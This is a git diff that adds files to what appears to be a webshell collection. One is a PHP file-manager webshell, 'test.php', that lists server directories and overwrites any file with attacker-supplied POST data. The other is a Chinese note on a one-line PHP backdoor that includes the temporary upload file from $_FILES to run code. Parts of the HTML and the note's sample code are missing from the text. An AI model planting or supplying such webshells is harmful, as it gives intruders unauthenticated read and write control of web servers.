diff --git a/jsp/cat/test.php b/jsp/cat/test.php new file mode 100644 index 0000000..d30292e --- /dev/null +++ b/jsp/cat/test.php @@ -0,0 +1,37 @@ +"; +function getFile($path,$charset) { + header("Content-Type:text/html;charset=".$charset); + if (is_dir($path)) { + $dir = opendir ( $path ); + while ( $file = readdir ( $dir ) ) { + echo "".$file."
\n"; + } + closedir($dir); + } else { + echo "File:
"; + echo ""; + } + echo ""; +} +function update($filename,$data){ + file_put_contents($filename, $data); + echo ""; +} +if('update'==$_POST['action']){ + update($_POST['file'],$_POST['data']); +}else{ + getFile($_POST['p']!=''?$_POST['p']:$_SERVER['DOCUMENT_ROOT'],$_POST['charset']!=''?$_POST['charset']:"UTF-8"); +} +?> + diff --git a/php/另类PHP一句话小马.md b/php/另类PHP一句话小马.md new file mode 100644 index 0000000..949418e --- /dev/null +++ b/php/另类PHP一句话小马.md @@ -0,0 +1,19 @@ +另类PHP一句话小马 + +利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。 + + + + + + from: www.zeroplace.cn + +选择你的php大马点shell运行 + +我测试的时候的代码就是